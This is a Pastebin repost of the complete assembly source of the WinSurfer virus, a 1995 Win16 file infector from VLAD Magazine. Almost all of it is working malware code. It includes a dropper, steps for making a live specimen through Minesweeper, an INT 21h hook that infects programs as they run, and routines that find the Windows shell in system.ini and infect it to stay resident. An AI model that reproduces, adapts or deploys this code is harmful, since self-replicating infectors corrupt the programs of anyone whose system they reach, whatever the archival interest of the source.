Advertisement
FlyFar

VLAD Magazine - Issue #4 - Article.4_3 - Virus.Win16.Winsurfer - Source Code

Jul 4th, 2023
1,369
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 20.70 KB | Cybersecurity | 0 0
  1. ;-------------------------------------------------------------------------
  2. ;
  3. ;       WinSurfer Virus (c) 1995 VLAD incorporated.
  4. ;               Written by qark and quantum.
  5. ;
  6. ;  This virus is a parasitic TSR infector of NewEXE files.  It works in
  7. ;  protected mode only and infects on file execute.
  8. ;
  9. ;  The executable infection code is by qark, while the interrupt handler
  10. ;  code is by quantum.
  11. ;
  12. ;  This virus contains no stealth of any form, a simple readonly attribute
  13. ;  will stop the virus from writing, the time/date stamp is not preserved
  14. ;  and there is no encryption of any form.  Windows users are too dumb to
  15. ;  notice anyway.
  16. ;
  17. ;  To obtain a specimen of the virus, copy the compiled com file into the
  18. ;  same directory as the file WINMINE.EXE and run it.  Go into Windows
  19. ;  and run the game 'Minesweeper'.  Minesweeper should infect program
  20. ;  manager direct action, so that next time windows is booted the virus
  21. ;  will be resident.
  22. ;
  23. ;  Possible Bugs and Improvements:
  24. ;   1) An error may be that if the file isn't exactly shift alignment sized
  25. ;   the virus will overwrite some data at the end of the file or be
  26. ;   incorrectly pointed.
  27. ;   2) An error may occur if the end of the segment table is less than eight
  28. ;   bytes from a 512 byte divisor.
  29. ;   3) It may be possible to allocate buffer space without adding to virus
  30. ;   size by changing the segment memory size in the segment table. At the
  31. ;   moment the virus size is being doubled by the 512 byte read buffer we
  32. ;   include in the disk image.
  33. ;
  34. ;  Although the final virus was coded completely by quantum and I, many
  35. ;  people helped by offering ideas, and windows documentation so I
  36. ;  must give thanks to the following people:
  37. ;  Screaming Radish, Stalker X, Dreadlord and some scandinavian dude.
  38. ;  The most important help came from Malware who taught me the relocation
  39. ;  entry ffff trick.
  40. ;
  41. ;  Assemble with a86.
  42. ;-------------------------------------------------------------------------
  43.  
  44.  
  45. ;--Directly below is dropper code, ignore it, page down to the virus code--
  46.  
  47.         mov     ax,3d02h
  48.         mov     dx,offset fname
  49.         int     21h
  50.         xchg    bx,ax
  51.        
  52.         mov     ah,3fh
  53.         mov     cx,512
  54.         mov     dx,offset buffer
  55.         int     21h
  56.  
  57.         mov     si,offset buffer
  58.         cmp     word ptr [si+3ch],400h
  59.         je      ok_dropper
  60.         int     20h
  61. ok_dropper:
  62.         mov     ax,word ptr [si+2]
  63.         mov     word ptr ppage,ax
  64.         mov     ax,word ptr [si+4]
  65.         mov     word ptr pfile,ax
  66.  
  67.         mov     ax,4200h
  68.         xor     cx,cx
  69.         cwd
  70.         int     21h
  71.  
  72.         mov     ah,40h
  73.         mov     cx,offset setsp - offset header
  74.         mov     dx,offset header
  75.         int     21h
  76.  
  77.         mov     ax,4200h
  78.         xor     cx,cx
  79.         mov     dx,word ptr [si+3ch]
  80.         int     21h
  81.  
  82.         mov     ah,3fh
  83.         mov     cx,512
  84.         mov     dx,offset buffer
  85.         int     21h
  86.  
  87.         mov     ax,word ptr [si+1ch]
  88.         inc     word ptr [si+1ch]       ;increase segment count
  89.         mov     cl,8
  90.         mul     cl
  91.        
  92.         mov     di,word ptr [si+22h]
  93.         add     di,si
  94.         add     di,ax
  95.  
  96.         mov     ax,4202h
  97.         xor     cx,cx
  98.         cwd
  99.         int     21h
  100.        
  101.         ;write in the new segment into the table
  102.        
  103.         mov     cl,byte ptr [si+32h]
  104.         push    bx
  105.         mov     bx,1
  106.         shl     bx,cl
  107.         mov     cx,bx
  108.         pop     bx
  109.         div     cx
  110.  
  111.         mov     word ptr [di],ax
  112.         mov     word ptr [di+2],winend-win_entry
  113.         mov     word ptr [di+4],180h
  114.         mov     word ptr [di+6],winend-win_entry
  115.  
  116.         mov     ax,word ptr [si+14h]
  117.         mov     word ptr winip2,ax
  118.  
  119.         mov     word ptr [si+14h],0
  120.  
  121.         mov     ax,word ptr [si+16h]
  122.         mov     word ptr wincs2,ax
  123.         mov     ax,word ptr [si+1ch]    ;new cs:ip
  124.         mov     word ptr [si+16h],ax
  125.  
  126.         mov     ah,40h
  127.         mov     cx,winend-win_entry + 20h
  128.         mov     dx,offset win_entry
  129.         int     21h
  130.  
  131.         add     word ptr [si+4],512
  132.  
  133.         add     word ptr [si+24h],512
  134.         add     word ptr [si+26h],512
  135.         add     word ptr [si+28h],512
  136.         add     word ptr [si+2ah],512
  137.  
  138.         mov     dx,512
  139.         mov     ax,4200h
  140.         xor     cx,cx
  141.         int     21h
  142.        
  143.         mov     ah,40h
  144.         mov     cx,512
  145.         mov     dx,offset buffer
  146.         int     21h
  147.        
  148.         mov     ah,3eh
  149.         int     21h
  150.  
  151.         int     20h
  152.  
  153. ;--The New Windows DOS stub--
  154. header  db      'MZ'
  155. ppage   dw      0       ;part page
  156. pfile   dw      0       ;file/512
  157.         dw      0       ;relocation items
  158.         dw      10h     ;header size/16
  159.         dw      0       ;minmem
  160.         dw      -1      ;maxmem
  161.         dw      0       ;SS
  162.         dw      offset setsp - offset winstart ;SP
  163.         dw      0       ;checksum
  164.         dw      0       ;IP
  165.         dw      0       ;CS
  166.         dw      40h     ;Relocation offset
  167.         dupsize1        equ 3ch - ($-offset header)
  168.         db      dupsize1 dup (0)
  169.         dw      200h    ;NE offset
  170.         dupsize2        equ 100h - ($-offset header)
  171.         db      dupsize2 dup (0)
  172. winstart:
  173.         call    windowsmsg
  174.         db      'This program requires Microsoft Windows.',0dh,0ah,'$'
  175. windowsmsg:
  176.         pop     dx
  177.         push    cs
  178.         pop     ds
  179.         mov     ah,9
  180.         int     21h
  181.         mov     ax,4c01h
  182.         int     21h
  183.         db      100 dup (0)
  184. setsp:
  185. ;---end of fake dropper dos stub--
  186.  
  187. fname   db      'winmine.exe',0
  188.  
  189.  
  190. ;----Start of the Virus---All the above is the dropper code, ignore it-------
  191.  
  192. win_entry:                      ;Infected windows executables start here.
  193.         jmp     realenter
  194.  
  195. int21start:                             ;Virus Int21 handler
  196.  
  197.         cmp     ax,1894h                ;Residency test ?
  198.         jnz     nottest
  199.         mov     cx,1234h
  200.         iret
  201. nottest:
  202.  
  203.         pusha
  204.         push    ds
  205.         push    es
  206.  
  207.         cmp     ah,4bh                  ;Windows is so dumb it uses DOS to
  208.                                         ;execute.
  209.         jnz     return2int
  210.         call    executing
  211.  
  212. return2int:
  213.  
  214.         pop     es
  215.         pop     ds
  216.         popa
  217.  
  218.         db      0eah
  219. oldint21        dw      0,0
  220.  
  221. executing:
  222.        
  223.         mov     ax,3d02h                ;Open file in DS:DX
  224.         int     21h
  225.         jnc     ok_open
  226.         ret
  227. ok_open:
  228.         push    ax
  229.         mov     ax,0ah                  ;This function makes our CS writable.
  230.         push    cs
  231.         pop     bx
  232.         int     31h
  233.         push    ax
  234.         pop     ds
  235.         pop     bx
  236.  
  237.         mov     ah,3fh                  ;Read first 512 bytes of EXE header.
  238.         mov     cx,512
  239.         mov     dx,offset buffer-offset win_entry
  240.         int     21h
  241.  
  242.         mov     si,offset buffer-offset win_entry
  243.  
  244.         cmp     word ptr [si],'ZM'      ;Not a COM file.
  245.         jne     bad_open
  246.         cmp     word ptr [si+18h],40h           ;40h+ for NE exe's
  247.         jb      bad_open
  248.         cmp     word ptr [si+3ch],400h          ;header will be below if
  249.         je      fileisoktoinfect                ;already infected...
  250. bad_open:
  251.         jmp     fileisunsuitable
  252.  
  253. fileisoktoinfect:
  254.         sub     word ptr [si+3ch],8     ;Change NE pointer.
  255.         sub     word ptr [si+10h],8     ;Incase stack is end of header
  256.          
  257.         mov     ax,4200h                ;Lseek right back to the start.
  258.         xor     cx,cx
  259.         cwd
  260.         int     21h
  261.  
  262.         mov     ah,40h                  ;Rewrite the modified DOS header.
  263.         mov     cx,512
  264.         mov     dx,offset buffer - offset win_entry
  265.         int     21h
  266.         jc      bad_open                ;Write fail.. outta here!
  267.  
  268.         mov     ax,4200h                ;Lseek to NE header.
  269.         xor     cx,cx
  270.         mov     dx,400h
  271.         int     21h
  272.  
  273.         mov     ah,3fh                  ;Read in first 512 bytes.
  274.         mov     cx,512
  275.         mov     dx,offset buffer - offset win_entry
  276.         int     21h
  277.  
  278.         ;Adjust header offsets.  Any tables behind the segment table will
  279.         ;have their offset increased by eight because we are inserting a new
  280.         ;eight byte segment entry.
  281.  
  282.         mov     ax,word ptr [si+22h]    ;AX=Segment table offset.
  283.         cmp     word ptr [si+4],ax
  284.         jb      ok_et
  285.         add     word ptr [si+4],8
  286. ok_et:
  287.         cmp     word ptr [si+24h],ax
  288.         jb      ok_rt
  289.         add     word ptr [si+24h],8
  290. ok_rt:
  291.         cmp     word ptr [si+26h],ax
  292.         jb      ok_rnt
  293.         add     word ptr [si+26h],8
  294. ok_rnt:
  295.         cmp     word ptr [si+28h],ax
  296.         jb      ok_mrt
  297.         add     word ptr [si+28h],8
  298. ok_mrt:
  299.         cmp     word ptr [si+2ah],ax
  300.         jb      ok_int
  301.         add     word ptr [si+2ah],8
  302. ok_int:
  303.        
  304.         mov     ax,word ptr [si+1ch]
  305.         inc     word ptr [si+1ch]       ;Increase segment count.
  306.         mov     cl,8                    ;Assume less than 256 segments.
  307.         mul     cl
  308.  
  309.         add     ax,word ptr [si+22h]    ;AX=Size of segment table.
  310.         xor     dx,dx                   ;High order division value.
  311.         mov     cx,512                  ;512 byte portions are used
  312.                                         ; for the reads later on.
  313.         div     cx
  314.  
  315.         mov     word ptr [offset ne_size-offset win_entry],ax
  316.                                         ;How much we'll have to read.
  317.         mov     word ptr [offset last_ne-offset win_entry],dx
  318.                                         ;Where the end of the segment table
  319.                                         ; will be when we read it into the
  320.                                         ; buffer. (The last buffer)
  321.  
  322.         ;Put the original CS:IP into our relocation table.
  323.         push    word ptr [si+14h]
  324.         pop     word ptr [offset newwinip2 - offset win_entry]
  325.         push    word ptr [si+16h]
  326.         pop     word ptr [offset newwincs2 - offset win_entry]
  327.  
  328.         ;Save the alignment shift count because we need that for calculating
  329.         ;the offset of our segment when writing the segment entry.
  330.         push    word ptr [si+32h]
  331.         pop     word ptr [offset al_shift - offset win_entry]
  332.  
  333.         ;Point CS:IP to the virus.
  334.         mov     word ptr [si+14h],0     ;The new IP
  335.         mov     ax,word ptr [si+1ch]
  336.         mov     word ptr [si+16h],ax    ;The new CS
  337.  
  338.         ;Initialise the lseek variable
  339.         mov     word ptr [offset lseek-offset win_entry],400h
  340.  
  341.         ;The below code gets the NE header and keeps moving it forward by
  342.         ;eight bytes in 512 byte chunks.
  343. move_header_forward:        
  344.         mov     ax,word ptr [offset ne_size-offset win_entry]
  345.         or      ax,ax
  346.         jz      last_page
  347.  
  348.         dec     word ptr [offset ne_size-offset win_entry]
  349.  
  350.         mov     ax,4200h                ;Lseek to our current position.
  351.         xor     cx,cx
  352.         mov     dx,word ptr [offset lseek-offset win_entry]
  353.         sub     dx,8
  354.         int     21h
  355.        
  356.         mov     ah,40h                  ;Write the header section out.
  357.         mov     cx,512
  358.         mov     dx,si
  359.         int     21h
  360.        
  361.                                         ;Advance the pointer by 512.
  362.         add     word ptr [offset lseek-offset win_entry],512
  363.        
  364.         mov     ax,4200h                ;Lseek to the next chunk.
  365.         xor     cx,cx
  366.         mov     dx,word ptr [offset lseek-offset win_entry]
  367.         int     21h
  368.  
  369.         mov     ah,3fh                  ;Read it.
  370.         mov     dx,offset buffer - offset win_entry
  371.         mov     cx,512
  372.         int     21h
  373.  
  374.         jmp     move_header_forward
  375.  
  376. last_page:
  377.         mov     ax,4202h                ;Lseek to end of file.
  378.         xor     cx,cx
  379.         cwd
  380.         int     21h                     ;File length into DX:AX
  381.  
  382.         ;DX:AX=File offset of our segment
  383.         ;Below section shifts the segment offset right by the alignment
  384.         ;shift value.
  385.         mov     cl,byte ptr [offset al_shift - offset win_entry]
  386.         push    bx
  387.         mov     bx,1
  388.         shl     bx,cl
  389.         mov     cx,bx
  390.         pop     bx
  391.         div     cx
  392.  
  393.         mov     di,si
  394.         add     di,word ptr [offset last_ne-offset win_entry]
  395.  
  396.         ;Adding the new segment table entry
  397.         mov     word ptr [di],ax        ;Segment offset
  398.         mov     word ptr [di+2],offset winend-offset win_entry
  399.         mov     word ptr [di+4],180h    ;Segment attribute
  400.                                         ; 180h = NonMovable + Relocations
  401.         mov     word ptr [di+6],offset winend-offset win_entry
  402.        
  403.         mov     ax,4200h        ;Lseek to next position.
  404.         xor     cx,cx
  405.         mov     dx,word ptr [offset lseek-offset win_entry]
  406.         sub     dx,8
  407.         int     21h
  408.        
  409.         mov     ah,40h          ;Write rest of NE header + new seg entry.
  410.         mov     cx,word ptr [offset last_ne-offset win_entry]
  411.         add     cx,8            ;Added segment entry means eight more.
  412.         mov     dx,offset buffer - offset win_entry
  413.         int     21h
  414.  
  415.         ;Reset the relocatable pointer.
  416.         push    word ptr [offset winip - offset win_entry]
  417.         push    word ptr [offset wincs - offset win_entry]
  418.         mov     word ptr [offset winip - offset win_entry],0
  419.         mov     word ptr [offset wincs - offset win_entry],0ffffh
  420.  
  421.         mov     ax,4202h        ;Lseek to end of file.
  422.         xor     cx,cx
  423.         cwd
  424.         int     21h
  425.        
  426.         mov     ah,40h          ;Write main virus body.
  427.         mov     cx,offset winend-offset win_entry
  428.         xor     dx,dx
  429.         int     21h
  430.  
  431.         pop     word ptr [offset wincs - offset win_entry]
  432.         pop     word ptr [offset winip - offset win_entry]
  433.  
  434.         mov     ah,40h          ;Write the relocation item.
  435.         mov     cx,offset winend-offset relocblk
  436.         mov     dx,offset relocblk-offset win_entry
  437.         int     21h
  438.  
  439. fileisunsuitable:
  440.        
  441.         mov     ah,3eh          ;Close file.
  442.         int     21h
  443.  
  444.         ret
  445.  
  446.         prefix          db      'hell='
  447.         windir          db      'indir='
  448.         systemfile      db      'system.ini',0
  449.         NE_Size         dw      0
  450.         Last_NE         dw      0
  451.         Al_Shift        dw      0
  452.         LSeek           dw      0
  453.         progman         db      0       ;1=Program Manager
  454.         envir           dw      0       ;environment segment
  455.         pathbuff        db      142 dup (0)
  456. realenter:
  457.  
  458.         pusha
  459.         push    si
  460.         push    di
  461.         push    ds
  462.         push    es
  463.        
  464.         mov     ax,1686h                    ;Is DPMI available ?
  465.         int     2fh
  466.         or      ax,ax
  467.         jz      dpmifound
  468. no_dpmi:
  469.         jmp     alreadyinmem
  470. dpmifound:
  471.         mov     ax,000ah                    ;Make CS writable.
  472.         push    cs                          ;Protected mode isn't protected.
  473.         pop     bx
  474.         int     31h                         ;Use DPMI.
  475.         push    ax
  476.         pop     ds
  477.  
  478.         xor     cx,cx                       ;Check if resident.
  479.         mov     ax,1894h
  480.         int     21h
  481.  
  482.         cmp     cx,1234h                    ;Must be resident..
  483.         jz      no_dpmi
  484.  
  485.         cmp     byte ptr [offset progman - offset win_entry],1
  486.         jne     direct_progman
  487.  
  488.         mov     byte ptr [offset progman - offset win_entry],0
  489.        
  490.         ;Can't go TSR off any program but program manager.
  491.         mov     ax,0204h                    ;Get real mode interrupt vector.
  492.         mov     bl,21h
  493.         int     31h
  494.  
  495.         mov     ds:[offset oldint21 - win_entry],dx
  496.         mov     ds:[offset oldint21 - win_entry + 2],cx
  497.  
  498.         push    cs
  499.         pop     cx
  500.         mov     dx,offset int21start-win_entry
  501.         mov     ax,0205h
  502.         mov     bl,21h
  503.         int     31h                         ;Set real mode interrupt vector.
  504.         jmp     alreadyinmem
  505.  
  506. direct_progman:
  507.         ;Next portion of code searches for the environment variable
  508.         ;'windir' and places that before the files we access.
  509.        
  510.         ;On entry ES=PSP
  511.  
  512.         mov     ax,word ptr es:[2ch]    ;PSP:[2ch]=Environment segment.
  513.        
  514.         cld
  515.        
  516.         mov     es,ax
  517.  
  518.         mov     al,'w'                  ;w from windir
  519.         mov     cx,-1
  520.         xor     di,di
  521.         mov     dx,di
  522. dir_loop:
  523.         mov     di,dx
  524.         repnz   scasb
  525.         mov     dx,di
  526.         mov     si,offset windir-win_entry
  527.         push    cx
  528.         mov     cx,6
  529.         repe    cmpsb                   ;indir from windir
  530.         pop     cx
  531.         jne     dir_loop
  532.         mov     si,di
  533.         mov     ax,ds
  534.         push    es
  535.         pop     ds
  536.         mov     es,ax
  537.         mov     cx,128
  538.         mov     di,offset pathbuff-win_entry
  539.         rep     movsb                   ;Move it into our path buffer.
  540.         push    es
  541.         pop     ds
  542.  
  543.         mov     di,offset pathbuff-win_entry
  544.         mov     al,0
  545.         mov     cx,128
  546.         repnz   scasb
  547.         mov     byte ptr es:[di-1],'\'          ;Add a slash behind the path.
  548.         mov     si,offset systemfile -offset win_entry
  549.         mov     cx,11
  550.         rep     movsb
  551.  
  552.         ;The below code reads in the 'system.ini' file and searches for
  553.         ;the 'shell=' value, and infects the program specified by it.
  554.         ;The windows shell (eg program manager) is always active in memory
  555.         ;and we use it to go resident off.
  556.  
  557.         mov     ax,3d02h
  558.         mov     dx,offset pathbuff -offset win_entry
  559.         int     21h
  560.  
  561.         jc      alreadyinmem
  562.         xchg    bx,ax
  563.  
  564.         mov     ah,3fh
  565.         mov     cx,512
  566.         mov     dx,offset buffer -offset win_entry
  567.         int     21h
  568.  
  569.         mov     ah,3eh
  570.         int     21h
  571.  
  572.         push    ds
  573.         pop     es
  574.  
  575.         mov     di,offset buffer-offset win_entry
  576.         mov     dx,di
  577.  
  578.         cld
  579.         mov     cx,512
  580. shell_loop:
  581.         mov     di,dx
  582.         mov     al,'s'                  ;The 's' in 'shell='
  583.         repne   scasb
  584.         jne     alreadyinmem
  585.         mov     dx,di
  586.  
  587.         mov     si,offset prefix -offset win_entry ;Test for 'hell='
  588.         push    cx
  589.         mov     cx,5
  590.         repe    cmpsb
  591.         pop     cx
  592.         jne     shell_loop
  593.         mov     si,di                   ;Offset of filename into DX.
  594.  
  595.         mov     al,'.'                  ;The dot in the filename extension.
  596.         mov     cl,0ffh
  597.         repne   scasb
  598.         add     di,3                    ;Point to past the filename.
  599.         mov     byte ptr es:[di],0      ;Add a zero to make it asciiz.
  600.  
  601.         mov     di,offset pathbuff-win_entry
  602.         mov     al,0
  603.         mov     cx,128
  604.         repnz   scasb                   ;Search for the 0 at the path end.
  605.         dec     di
  606.         mov     al,'\'                  ;Now find the last backslash.
  607.         mov     cx,128
  608.         std                             ;Scan backwards.
  609.         repnz   scasb
  610.         cld
  611.         inc     di                      ;DI points behind the final '\'
  612.         inc     di
  613.         mov     cx,15
  614.         rep     movsb                   ;Append the shell program name.
  615.         mov     dx,offset pathbuff-win_entry
  616.  
  617.         mov     byte ptr [offset progman - offset win_entry],1
  618.         call    executing
  619.         mov     byte ptr [offset progman - offset win_entry],0
  620.  
  621. alreadyinmem:
  622.  
  623.         pop     es
  624.         pop     ds
  625.         pop     di
  626.         pop     si
  627.         popa
  628.  
  629.         db      0eah                    ;JMP FAR PTR xxxx:xxxx
  630. winip   dw      0
  631. wincs   dw      0ffffh                  ;Needs to be FFFF due to windows
  632.                                         ; relocation item format.
  633. buffer  db      512 dup (0)
  634.  
  635. ;Below is the relocation item format.  What ours does is turn the far jump
  636. ; above us into a jump to the original CS:IP.
  637. relocblk        dw      1               ;Signal only one relocation item.
  638.                 db      3               ;32 bit pointer relocation.
  639.                 db      4               ;Additive relocation (unsure, but
  640.                                         ; it doesnt work unless you put this)
  641.                 dw      offset winip-offset win_entry ;Relocation offset.
  642. newwincs2       dw      0               ;Target of the relocation. (We use
  643. newwinip2       dw      0               ; the original host CS:IP)
  644.  
  645. winend:                         ;The actual virus ends here.
  646. ;-----End of the Virus---Below is dropper code-----------------------------
  647.         dw      1
  648.         db      3
  649.         db      4
  650.         dw      offset winip - offset win_entry
  651. wincs2  dw      0
  652. winip2  dw      0
Tags: virus a86
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement